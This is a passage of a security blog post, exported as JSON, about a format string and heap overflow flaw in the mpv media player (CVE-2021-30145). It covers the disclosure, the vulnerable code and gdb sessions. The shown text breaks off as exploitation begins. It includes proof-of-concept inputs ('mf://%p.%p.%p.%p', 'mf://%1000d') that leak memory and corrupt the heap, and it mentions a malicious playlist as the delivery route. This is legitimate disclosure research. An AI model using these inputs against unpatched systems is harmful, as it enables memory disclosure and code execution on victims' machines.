{"id":2217,"date":"2021-04-12T12:55:06","date_gmt":"2021-04-12T12:55:06","guid":{"rendered":"https:\/\/devel0pment.de\/?p=2217"},"modified":"2021-04-13T06:47:37","modified_gmt":"2021-04-13T06:47:37","slug":"tba","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=2217","title":{"rendered":"mpv media player &#8211; mf custom protocol vulnerability (CVE-2021-30145)"},"content":{"rendered":"\r\n<style>\r\n.hl {\r\n  color:#2222ff;\r\n  font-family:\"Courier 10 Pitch\", Courier, monospace;\r\n  font-weight:bold;\r\n}\r\n\r\n.hl2 {\r\n  color:#ff0000;\r\n}\r\n<\/style>\r\n\r\n\r\n\r\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"150\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/04\/mpv_title.png\" alt=\"\" class=\"wp-image-2224\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/04\/mpv_title.png 750w, https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/04\/mpv_title-300x60.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/figure>\r\n\r\n\r\n\r\n<p>The <a href=\"https:\/\/mpv.io\/\" rel=\"noopener noreferrer\" target=\"_blank\">mpv<\/a> media player provides a custom protocol handler (<span class=\"hl\">mf:\/\/<\/span>) in order to merge multiple images to a video. An undocumented feature within this protocol handler allows the usage of a format specifier in the provided URL, which is evaluated using <span class=\"hl\">sprintf<\/span>. This results in both, a format string vulnerability as well as a heap overflow (<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-30145\" rel=\"noopener noreferrer\" target=\"_blank\">CVE-2021-30145<\/a>).<\/p>\r\n\r\n\r\n\r\n<p>After disclosing the vulnerability to the mpv team on the 3rd April 2021 I got an immediate response. The mpv team took the issue very seriously and immediately started to work on a patch with me. This was the first time I disclosed a vulnerability to an open source project and I was really impressed about the professional reaction and the passionate commitment. The patch was released only two days after my report on the 5th April 2021 (<a href=\"https:\/\/github.com\/mpv-player\/mpv\/commit\/d0c530919d8cd4d7a774e38ab064e0fabdae34e6\" rel=\"noopener noreferrer\" target=\"_blank\">commit<\/a>). Thanks a lot to <span class=\"hl\">avih<\/span>, <span class=\"hl\">sfan5<\/span> and <span class=\"hl\">jeeb<\/span>.<\/p>\r\n\r\n\r\n\r\n<p>The impact of the format string vulnerability is limited on Linux, because the binary is compiled with <span class=\"hl\">FORTIFY_SOURCE<\/span> by default. Though the heap overflow can be used to gain arbitrary code execution by overflowing into an adjacent heap chunk and setting a function pointer to an attacker controlled value. Nevertheless I estimate the probability of exploitation in real life as quite low, because a victim has to be tricked into opening a malicious playlist (e.g. via a URL like <span class=\"hl\">http:\/\/10.0.0.1\/evil.m3u<\/span>) and the attacker has to have detailed information about the victim&#8217;s system to fine-tune the exploit.<\/p>\r\n\r\n\r\n\r\n<p>Within this article I describe the vulnerability itself as well as the development of a proof of concept exploit for <span class=\"hl\">Ubuntu 20.04.2 LTS<\/span> with <span class=\"hl\">ASLR<\/span> disabled. At the end of the article I outline a few thoughts on how ASLR can be bypassed and what changes if we develop an exploit for Windows. The article is divided into the following sections:<br><br>\r\n\r\n&#8211; <a href=\"https:\/\/devel0pment.de\/?p=2217#intro\">Introduction<\/a><br>\r\n&#8211; <a href=\"https:\/\/devel0pment.de\/?p=2217#format\">Format String Vulnerability<\/a><br>\r\n&#8211; <a href=\"https:\/\/devel0pment.de\/?p=2217#hoverflow\">Heap Overflow<\/a><br>\r\n&#8211; <a href=\"https:\/\/devel0pment.de\/?p=2217#expl\">Exploitation<\/a><br>\r\n&#8211; <a href=\"https:\/\/devel0pment.de\/?p=2217#ft\">Further Thoughts<\/a><br>\r\n&#8211; <a href=\"https:\/\/devel0pment.de\/?p=2217#con\">Conclusion<\/a><br><\/p>\r\n\r\n\r\n\r\n<!--more-->\r\n\r\n\r\n\r\n<style>\r\ncode {\r\n  font-family:\"Courier 10 Pitch\", Courier, monospace;\r\n  font-size:14px;\r\n  line-height:18px;\r\n  background-color:#000000;\r\n  color:#00ff00 !important;\r\n  padding-left:10px;\r\n  padding-right:10px;\r\n  padding-bottom:10px;\r\n  display:block;\r\n  white-space:pre-wrap;\r\n  word-wrap:break-word;\r\n  margin-bottom:15px;\r\n}\r\n<\/style>\r\n\r\n\r\n\r\n<hr>\r\n<h1 id=\"intro\">Introduction<\/h1>\r\n\r\n<p>I have recently started to review some popular open source software by choosing interesting projects from <a href=\"https:\/\/github.com\/trending\/c?since=monthly\" rel=\"noopener noreferrer\" target=\"_blank\">GitHub&#8217;s trending page<\/a>. One of the projects I have been looking at is <span class=\"hl\">mpv<\/span>. <a href=\"https:\/\/mpv.io\/\" rel=\"noopener noreferrer\" target=\"_blank\">mpv<\/a> is an open source media player available for a wide variety of operating systems (Windows, macOS, Linux, &#8230;).<\/p>\r\n\r\n\r\n\r\n<p>When searching for possibly vulnerable function calls, I came upon this suspicious call to <span class=\"hl\">sprintf<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\n    ...\r\n    mp_info(log, \"search expr: %s\\n\", filename);\r\n\r\n    while (error_count &lt; 5) {\r\n        <span class=\"hl2\">sprintf(fname, filename, count++);<\/span>\r\n        if (!mp_path_exists(fname)) {\r\n            error_count++;\r\n            mp_verbose(log, \"file not found: '%s'\\n\", fname);\r\n        } else {\r\n            mf_add(mf, fname);\r\n        }\r\n    }\r\n    ...\r\n<\/code>\r\n\r\n\r\n\r\n<p>One reason for this call being suspicious is that the second parameter to <span class=\"hl\">sprintf<\/span> (which is the format string), is called <span class=\"hl\">filename<\/span>. This sounds pretty user controllable. Another reason is that <span class=\"hl\">sprintf<\/span> should be avoided at all, because it does not do any boundary checks. The safer alternative is <span class=\"hl\">snprintf<\/span>, which takes an additional argument specifying the maximum amount of bytes to write. If <span class=\"hl\">sprintf<\/span> is used nonetheless, the calling code must ensure that the buffer is big enough to prevent a buffer overflow. My first impression was, that this is not the case here.<\/p>\r\n\r\n\r\n\r\n<h1 id=\"format\">Format String Vulnerability<\/h1>\r\n\r\n<p>Let&#8217;s start by verifying that we can actually control the <span class=\"hl\">filename<\/span> variable and thus the format string passed to <span class=\"hl\">sprintf<\/span>. The function surrounding the call is named <span class=\"hl\">open_mf_pattern<\/span> (see code <a href=\"https:\/\/github.com\/mpv-player\/mpv\/blob\/v0.33.0\/demux\/demux_mf.c#L59\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>). The third paramater of this function is the variable <span class=\"hl\">filename<\/span>. In order to reach the call to <span class=\"hl\">sprintf<\/span>, the following conditions have to be met:\r\n\r\n<pre>\r\n- filename[0] != '@' (line 68)\r\n- !strchr(filename, ',') (line 103)\r\n- strchr(filename, '%') (line 127)\r\n<\/pre>\r\n\r\n<\/p>\r\n\r\n\r\n\r\n<p>Accordingly the provided <span class=\"hl\">filename<\/span> should not start with an at sign (<span class=\"hl\">@<\/span>), should not contain a comma (<span class=\"hl\">,<\/span>), but should contain at least one percent sign (<span class=\"hl\">%<\/span>).<\/p>\r\n\r\n\r\n\r\n<p>Keeping this in mind we need to look where <span class=\"hl\">open_mf_pattern<\/span> is called from. This leads us to the function <span class=\"hl\">demux_open_mf<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\nstatic int demux_open_mf(demuxer_t *demuxer, enum demux_check check)\r\n{\r\n    mf_t *mf;\r\n\r\n    if (strncmp(demuxer-&gt;stream-&gt;url, \"mf:\/\/\", 5) == 0 &amp;&amp; ...)\r\n    {\r\n        mf = <span class=\"hl2\">open_mf_pattern<\/span>(demuxer, demuxer, demuxer-&gt;stream-&gt;url + 5);\r\n        ...\r\n<\/code>\r\n\r\n\r\n\r\n<p>Here we can see that if the URL of the stream being opened (<span class=\"hl\">demuxer-&gt;stream-&gt;url<\/span>) begins with the string <span class=\"hl\">mf:\/\/<\/span>, the function <span class=\"hl\">open_mf_pattern<\/span> is called. The third parameter (<span class=\"hl\">filename<\/span>) is set to the stream URL omitting the prefix <span class=\"hl\">mf:\/\/<\/span>.<\/p>\r\n\r\n\r\n\r\n<p>The <span class=\"hl\">demux_open_mf<\/span> function is stored as a callback in the <span class=\"hl\">demuxer_desc_mf<\/span> struct:<\/p>\r\n\r\n\r\n\r\n<code>\r\nconst demuxer_desc_t <span class=\"hl2\">demuxer_desc_mf<\/span> = {\r\n    .name = \"mf\",\r\n    .desc = \"image files (mf)\",\r\n    .read_packet = demux_mf_read_packet,\r\n    <span class=\"hl2\">.open = demux_open_mf<\/span>,\r\n    ...\r\n};\r\n<\/code>\r\n\r\n\r\n\r\n<p>This struct defines callbacks for the <span class=\"hl\">mf<\/span> demuxer, which is referenced by the corresponding stream (<span class=\"hl\">stream_info_mf<\/span> struct) using the name <span class=\"hl\">&#8220;mf&#8221;<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\nconst stream_info_t <span class=\"hl2\">stream_info_mf<\/span> = {\r\n    .name = <span class=\"hl2\">\"mf\"<\/span>,\r\n    .open = mf_stream_open,\r\n    .protocols = (const char*const[]){ \"mf\", NULL },\r\n};\r\n<\/code>\r\n\r\n\r\n\r\n<p>When the provided protocol is set to <span class=\"hl\">mf:\/\/<\/span> this stream is created.<\/p>\r\n\r\n\r\n\r\n<p>We can now verify, that we can reach the <span class=\"hl\">sprintf<\/span> call by loading mpv in gdb and setting a breakpoint on the function call:<\/p>\r\n\r\n\r\n\r\n<code>\r\nuser@b0x:~\/opt\/mpv\/build$ gdb .\/mpv\r\n...\r\ngdb-peda$ disassemble open_mf_pattern \r\nDump of assembler code for function open_mf_pattern:\r\n...\r\n   0x000000000005a3c7 &lt;+551&gt;:\tmov    esi,0x1\r\n   0x000000000005a3cc &lt;+556&gt;:\tadd    ebx,0x1\r\n<span class=\"hl2\">   0x000000000005a3cf &lt;+559&gt;:\tcall   0x327c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n   0x000000000005a3d4 &lt;+564&gt;:\tmov    rdi,r13\r\n   0x000000000005a3d7 &lt;+567&gt;:\tcall   0x95b60 &lt;mp_path_exists&gt;\r\n   0x000000000005a3dc &lt;+572&gt;:\ttest   al,al\r\n...\r\ngdb-peda$ <span class=\"hl2\">b *open_mf_pattern+559<\/span>\r\nBreakpoint 1 at 0x5a3cf: file \/usr\/include\/x86_64-linux-gnu\/bits\/stdio2.h, line 36.\r\n<\/code>\r\n\r\n\r\n\r\n<p>As we can see, the function being called is actually <span class=\"hl\">__sprintf_chk<\/span>. Since the binary was compiled with <span class=\"hl\">FORTIFY_SOURCE<\/span> enabled, calls to <span class=\"hl\">printf<\/span>, <span class=\"hl\">sprintf<\/span>, etc. are replaced with these safer versions, which are suffixed with <span class=\"hl\">_chk<\/span>. The presence of this security feature is also displayed by e.g. using the gdb-peda command <span class=\"hl\">checksec<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ checksec\r\nCANARY    : ENABLED\r\n<span class=\"hl2\">FORTIFY   : ENABLED<\/span>\r\nNX        : ENABLED\r\nPIE       : ENABLED\r\nRELRO     : FULL\r\n<\/code>\r\n\r\n\r\n\r\n<p>After having set the breakpoint, we can now run mpv and provide a <span class=\"hl\">mf:\/\/<\/span> URL. For the URL we must ensure to meet the above mentioned criteria. For example <span class=\"hl\">mf:\/\/test%d<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">r mf:\/\/test%d<\/span>\r\nStarting program: \/home\/user\/opt\/mpv\/build\/mpv mf:\/\/test%d\r\n...\r\n[----------------------------------registers-----------------------------------]\r\nRAX: 0x0 \r\nRBX: 0x1 \r\nRCX: 0x7fffe40011f5 --&gt; 0x642574736574 ('test%d')\r\nRDX: 0xffffffffffffffff \r\nRSI: 0x1 \r\nRDI: 0x7fffe40020a0 --&gt; 0x0 \r\nRBP: 0x7fffe40011f5 --&gt; 0x642574736574 ('test%d')\r\nRSP: 0x7fffebcaee00 --&gt; 0x7fffebcaf0df --&gt; 0x5555556b95a000 \r\nRIP: 0x5555555ae3cf (&lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;)\r\nR8 : 0x0 \r\nR9 : 0x4 \r\nR10: 0x1 \r\nR11: 0x0 \r\nR12: 0x7fffe4002020 --&gt; 0x7fffe4001970 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\nR13: 0x7fffe40020a0 --&gt; 0x0 \r\nR14: 0x7fffe4001970 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\nR15: 0x0\r\nEFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n   0x5555555ae3c0 &lt;open_mf_pattern+544&gt;:\tmov    rdx,0xffffffffffffffff\r\n   0x5555555ae3c7 &lt;open_mf_pattern+551&gt;:\tmov    esi,0x1\r\n   0x5555555ae3cc &lt;open_mf_pattern+556&gt;:\tadd    ebx,0x1\r\n<span class=\"hl2\">=&gt; 0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n   0x5555555ae3d4 &lt;open_mf_pattern+564&gt;:\tmov    rdi,r13\r\n   0x5555555ae3d7 &lt;open_mf_pattern+567&gt;:\tcall   0x5555555e9b60 &lt;mp_path_exists&gt;\r\n   0x5555555ae3dc &lt;open_mf_pattern+572&gt;:\ttest   al,al\r\n   0x5555555ae3de &lt;open_mf_pattern+574&gt;:\tje     0x5555555ae390 &lt;open_mf_pattern+496&gt;\r\nGuessed arguments:\r\narg[0]: 0x7fffe40020a0 --&gt; 0x0 \r\narg[1]: 0x1 \r\narg[2]: 0xffffffffffffffff \r\n<span class=\"hl2\">arg[3]: 0x7fffe40011f5 --&gt; 0x642574736574 ('test%d')<\/span>\r\narg[4]: 0x0 \r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>We actually hit the breakpoint. The second (<span class=\"hl\">0x1<\/span>) and third parameter (<span class=\"hl\">0xffffffffffffffff<\/span>) are additional parameters introduced by replacing <span class=\"hl\">sprintf<\/span> with <span class=\"hl\">__sprintf_chk<\/span>. We get to these parameters soon. Aside from this we can see that the URL we provided (omitting the prefix <span class=\"hl\">mf:\/\/<\/span>) is actually passed as the fourth parameter, which is the format string. Thus we have verified the format string vulnerability.<\/p>\r\n\r\n\r\n\r\n<p>By running mpv with the <span class=\"hl\">-v<\/span> option in order to increase the verbosity, we can actually see the format string vulnerability in the verbose output:<\/p>\r\n\r\n\r\n\r\n<code>\r\nuser@b0x:~\/opt\/mpv\/build$ <span class=\"hl2\">.\/mpv -v mf:\/\/%p.%p.%p.%p<\/span>\r\n...\r\n[mf] Opening mf:\/\/%p.%p.%p.%p\r\n[demux] Trying demuxers for level=request.\r\n[mf] search expr: %p.%p.%p.%p\r\n[mf] file not found: <span class=\"hl2\">'(nil).0x4.0x55555575ea93.0x55555575e880'<\/span>\r\n[mf] file not found: <span class=\"hl2\">'0x1.0x4.0x55555575ea93.0x55555575e880'<\/span>\r\n[mf] file not found: <span class=\"hl2\">'0x2.0x4.0x55555575ea93.0x55555575e880'<\/span>\r\n[mf] file not found: <span class=\"hl2\">'0x3.0x4.0x55555575ea93.0x55555575e880'<\/span>\r\n[mf] file not found: <span class=\"hl2\">'0x4.0x4.0x55555575ea93.0x55555575e880'<\/span>\r\n[mf] number of files: 0\r\n[cplayer] Opening failed or was aborted: mf:\/\/%p.%p.%p.%p\r\n[cplayer] finished playback, unrecognized file format (reason 4)\r\n[cplayer] Failed to recognize file format.\r\n[cplayer] \r\n[cplayer] Exiting... (Errors when loading file)\r\n<\/code>\r\n\r\n\r\n\r\n<p>Since we provided invalid filenames, an error message for each file is displayed, which contains the string produces via the <span class=\"hl\">sprintf<\/span> call. The provided format specifiers (<span class=\"hl\">%p<\/span>) are indeed evaluated.<\/p>\r\n\r\n\r\n\r\n<p>A format string vulnerability is usually a very powerful exploitation primitive. Though without spoiling too much: <span class=\"hl\">FORTIFY_SOURCE<\/span> greatly reduces the possible impact. We will get to the exploitation considerations in the <a href=\"#expl\">exploitation section<\/a>. Let&#8217;s first have a look at the additional parameters introduced by replacing <span class=\"hl\">sprintf<\/span> with <span class=\"hl\">__sprintf_chk<\/span> again.<\/p>\r\n\r\n\r\n\r\n<h1 id=\"hoverflow\">Heap Overflow<\/h1>\r\n\r\n<p>When we hit the breakpoint on <span class=\"hl\">__sprintf_chk<\/span>, we see two additional parameters (second and third):<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\n<span class=\"hl2\">=&gt; 0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n   0x5555555ae3d4 &lt;open_mf_pattern+564&gt;:\tmov    rdi,r13\r\n   0x5555555ae3d7 &lt;open_mf_pattern+567&gt;:\tcall   0x5555555e9b60 &lt;mp_path_exists&gt;\r\n   0x5555555ae3dc &lt;open_mf_pattern+572&gt;:\ttest   al,al\r\n   0x5555555ae3de &lt;open_mf_pattern+574&gt;:\tje     0x5555555ae390 &lt;open_mf_pattern+496&gt;\r\nGuessed arguments:\r\narg[0]: 0x7fffe40020a0 --&gt; 0x0 \r\n<span class=\"hl2\">arg[1]: 0x1 <\/span>\r\n<span class=\"hl2\">arg[2]: 0xffffffffffffffff <\/span>\r\narg[3]: 0x7fffe40011f5 --&gt; 0x642574736574 ('test%d')\r\narg[4]: 0x0 \r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>The second parameter is called <span class=\"hl\">flag<\/span> and has a value of <span class=\"hl\">0x1<\/span>. This value determines the amount of security measures <span class=\"hl\">__sprintf_chk<\/span> should perform. For our considerations, we don&#8217;t need to dig deeper here. More interesting to notice is the third parameter, which is called <span class=\"hl\">strlen<\/span> and determines the maximum amount of bytes the destination buffer can receive. This is similar to the additional <span class=\"hl\">n<\/span> parameter passed to <span class=\"hl\">snprintf<\/span>. Though in this case the value is obviously set to <span class=\"hl\">0xffffffffffffffff<\/span>, which effectively disables this buffer overflow protection. The reason for this is that the destination buffer was dynamically allocated on the heap. Thus the compiler could not now in advance, how big the buffer is and simply defaults it to <span class=\"hl\">0xffffffffffffffff<\/span>. If a static buffer is used (e.g. <span class=\"hl\">char buf[100]<\/span>), the <span class=\"hl\">FORTIFY_SOURCE<\/span> option actually prevents <span class=\"hl\">sprintf<\/span> (replaced by <span class=\"hl\">__sprintf_chk<\/span>) from overflowing the buffer (terminating the program with the error message <span class=\"hl\">*** buffer overflow detected ***: terminated<\/span>).<\/p>\r\n\r\n\r\n\r\n<p>The allocation for the destination buffer called <span class=\"hl\">fname<\/span> is also done in the <span class=\"hl\">open_mf_pattern<\/span> function (see code <a href=\"https:\/\/github.com\/mpv-player\/mpv\/blob\/v0.33.0\/demux\/demux_mf.c#L124\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>):<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\n    char *fname = talloc_size(mf, strlen(filename) + 32);\r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>The size of the buffer is equal to the size of the provided <span class=\"hl\">filename<\/span> plus additional 32 bytes. It is quite obvious that these 32 bytes are not enough, because we can provide multiple, arbitrary format specifiers and <span class=\"hl\">__sprintf_chk<\/span> won&#8217;t prevent a buffer overflow. Let&#8217;s also verify that by setting an additional breakpoint on the allocation (<span class=\"hl\">talloc_size<\/span>):<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ disassemble open_mf_pattern\r\nDump of assembler code for function open_mf_pattern:\r\n...\r\n   0x000000000005a328 &lt;+392&gt;:\tmov    rdi,rbp\r\n   0x000000000005a32b &lt;+395&gt;:\tcall   0x31400 &lt;strlen@plt&gt;\r\n   0x000000000005a330 &lt;+400&gt;:\tmov    rdi,r12\r\n   0x000000000005a333 &lt;+403&gt;:\tlea    rsi,[rax+0x20]\r\n<span class=\"hl2\">   0x000000000005a337 &lt;+407&gt;:\tcall   0x10a290 &lt;ta_alloc_size&gt;<\/span>\r\n   0x000000000005a33c &lt;+412&gt;:\tlea    rsi,[rip+0xb898c]        # 0x112ccf\r\n...\r\ngdb-peda$ <span class=\"hl2\">b *open_mf_pattern+407<\/span>\r\nBreakpoint 2 at 0x5a337: file ..\/demux\/demux_mf.c, line 124.\r\n<\/code>\r\n\r\n\r\n\r\n<p>In order to make <span class=\"hl\">__sprintf_chk<\/span> write a huge amount of bytes to the destination buffer, we can use a padded format specifier like <span class=\"hl\">%1000d<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">r mf:\/\/%1000d<\/span>\r\nStarting program: \/home\/user\/opt\/mpv\/build\/mpv mf:\/\/%1000d\r\n...\r\n[-------------------------------------code-------------------------------------]\r\n   0x5555555ae32b &lt;open_mf_pattern+395&gt;:\tcall   0x555555585400 &lt;strlen@plt&gt;\r\n   0x5555555ae330 &lt;open_mf_pattern+400&gt;:\tmov    rdi,r12\r\n   0x5555555ae333 &lt;open_mf_pattern+403&gt;:\tlea    rsi,[rax+0x20]\r\n<span class=\"hl2\">=&gt; 0x5555555ae337 &lt;open_mf_pattern+407&gt;:\tcall   0x55555565e290 &lt;ta_alloc_size&gt;<\/span>\r\n   0x5555555ae33c &lt;open_mf_pattern+412&gt;:\tlea    rsi,[rip+0xb898c]        # 0x555555666ccf\r\n   0x5555555ae343 &lt;open_mf_pattern+419&gt;:\tmov    rdi,rax\r\n   0x5555555ae346 &lt;open_mf_pattern+422&gt;:\tcall   0x55555565e680 &lt;ta_dbg_set_loc&gt;\r\n   0x5555555ae34b &lt;open_mf_pattern+427&gt;:\tmov    rdi,rax\r\nGuessed arguments:\r\narg[0]: 0x7fffe4002020 --&gt; 0x7fffe4001970 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\n<span class=\"hl2\">arg[1]: 0x26 ('&amp;')<\/span>\r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>The requested size for the allocation is <span class=\"hl\">0x26<\/span> = <span class=\"hl\">38<\/span> bytes (<span class=\"hl\">strlen(&#8220;%1000d&#8221;) + 32<\/span>).<\/p>\r\n\r\n\r\n\r\n<p>The address of the allocated chunk is stored in <span class=\"hl\">RAX<\/span> after we proceed to the next instruction:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">ni<\/span>\r\n[----------------------------------registers-----------------------------------]\r\n<span class=\"hl2\">RAX: 0x7fffe40020a0<\/span> --&gt; 0x0 \r\n...\r\n[-------------------------------------code-------------------------------------]\r\n   0x5555555ae330 &lt;open_mf_pattern+400&gt;:\tmov    rdi,r12\r\n   0x5555555ae333 &lt;open_mf_pattern+403&gt;:\tlea    rsi,[rax+0x20]\r\n   0x5555555ae337 &lt;open_mf_pattern+407&gt;:\t<span class=\"hl2\">call   0x55555565e290 &lt;ta_alloc_size&gt;<\/span>\r\n<span class=\"hl2\">=&gt;<\/span> 0x5555555ae33c &lt;open_mf_pattern+412&gt;:\tlea    rsi,[rip+0xb898c]        # 0x555555666ccf\r\n<\/code>\r\n\r\n\r\n\r\n<p>Since the chunk was allocated using <span class=\"hl\">talloc_size<\/span>, it contains a special header (<span class=\"hl\">struct ta_header<\/span>), which begins <span class=\"hl\">0x50<\/span> bytes before the return address. We will get to the details in the <a href=\"#expl\">exploitation section<\/a>. For now it is only necessary to know that the first member of the header (<span class=\"hl\">0x0000000000000026<\/span>) is the size of the allocated chunk:<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\ngdb-peda$ x\/20xg 0x7fffe40020a0-0x50\r\n0x7fffe4002050:\t<span class=\"hl2\">0x0000000000000026<\/span>\t0x0000000000000000\r\n0x7fffe4002060:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe4002070:\t0x00007fffe4001fd0\t0x0000000000000000\r\n0x7fffe4002080:\t0x00000000d3adb3ef\t0x0000000000000000\r\n0x7fffe4002090:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe40020a0:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe40020b0:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe40020c0:\t0x0000000000000000\t0x000000000001ef41\r\n0x7fffe40020d0:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe40020e0:\t0x0000000000000000\t0x0000000000000000\r\n<\/code>\r\n\r\n\r\n\r\n<p>Now let&#8217;s proceed to the call to <span class=\"hl\">__sprintf_chk<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">c<\/span>\r\nContinuing.\r\n...\r\n<span class=\"hl2\">=&gt; 0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n   0x5555555ae3d4 &lt;open_mf_pattern+564&gt;:\tmov    rdi,r13\r\n   0x5555555ae3d7 &lt;open_mf_pattern+567&gt;:\tcall   0x5555555e9b60 &lt;mp_path_exists&gt;\r\n   0x5555555ae3dc &lt;open_mf_pattern+572&gt;:\ttest   al,al\r\n   0x5555555ae3de &lt;open_mf_pattern+574&gt;:\tje     0x5555555ae390 &lt;open_mf_pattern+496&gt;\r\nGuessed arguments:\r\n<span class=\"hl2\">arg[0]: 0x7fffe40020a0 --&gt; 0x0 <\/span>\r\narg[1]: 0x1 \r\narg[2]: 0xffffffffffffffff \r\narg[3]: 0x7fffe40011f5 --&gt; 0x643030303125 ('%1000d')\r\narg[4]: 0x0\r\n<\/code>\r\n\r\n\r\n\r\n<p>We can verify that the destination buffer is the allocated chunk at <span class=\"hl\">0x7fffe40020a0<\/span>. Let&#8217;s execute the <span class=\"hl\">__sprintf_chk<\/span> by stepping to the next instruction:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">ni<\/span>\r\n...\r\n   0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\t<span class=\"hl2\">call   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n<span class=\"hl2\">=&gt;<\/span> 0x5555555ae3d4 &lt;open_mf_pattern+564&gt;:\tmov    rdi,r13\r\n<\/code>\r\n\r\n\r\n\r\n<p>The <span class=\"hl\">__sprintf_chk<\/span> call wrote way beyond the <span class=\"hl\">0x26<\/span> bytes allocated for the chunk:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ x\/100xg 0x7fffe40020a0-0x50\r\n0x7fffe4002050:\t0x0000000000000026\t0x0000000000000000\r\n0x7fffe4002060:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe4002070:\t0x00007fffe4001fd0\t0x0000000000000000\r\n0x7fffe4002080:\t0x00000000d3adb3ef\t0x0000000000000000\r\n0x7fffe4002090:\t0x0000000000000000\t0x0000555555666ccf\r\n0x7fffe40020a0:\t0x2020202020202020\t0x2020202020202020\r\n0x7fffe40020b0:\t0x2020202020202020\t0x2020202020202020\r\n0x7fffe40020c0:\t0x2020202020202020\t<span class=\"hl2\">0x2020202020202020<\/span>\r\n0x7fffe40020d0:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe40020e0:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe40020f0:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002100:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002110:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002120:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002130:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002140:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002150:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002160:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002170:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002180:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe4002190:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n0x7fffe40021a0:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>If we continue the execution of the program, we get a segmentation fault because of the corrupted heap:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ d br 1\r\ngdb-peda$ c\r\nContinuing.\r\n[mf] number of files: 0\r\n<span class=\"hl2\">free(): invalid next size (fast)<\/span>\r\n\r\nThread 3 \"mpv\/opener\" received signal SIGABRT, Aborted.\r\n...\r\n<span class=\"hl2\">Stopped reason: SIGABRT<\/span>\r\n__GI_raise (sig=sig@entry=0x6) at ..\/sysdeps\/unix\/sysv\/linux\/raise.c:50\r\n50\t..\/sysdeps\/unix\/sysv\/linux\/raise.c: No such file or directory.\r\n<\/code>\r\n\r\n\r\n\r\n<p>We have verified that the <span class=\"hl\">sprintf<\/span> call also results in a heap overflow vulnerability.<\/p>\r\n\r\n\r\n\r\n<h1 id=\"expl\">Exploitation<\/h1>\r\n\r\n<p>In the last section we have seen that the usage of <span class=\"hl\">sprintf<\/span> with a user controllable format string and no boundary 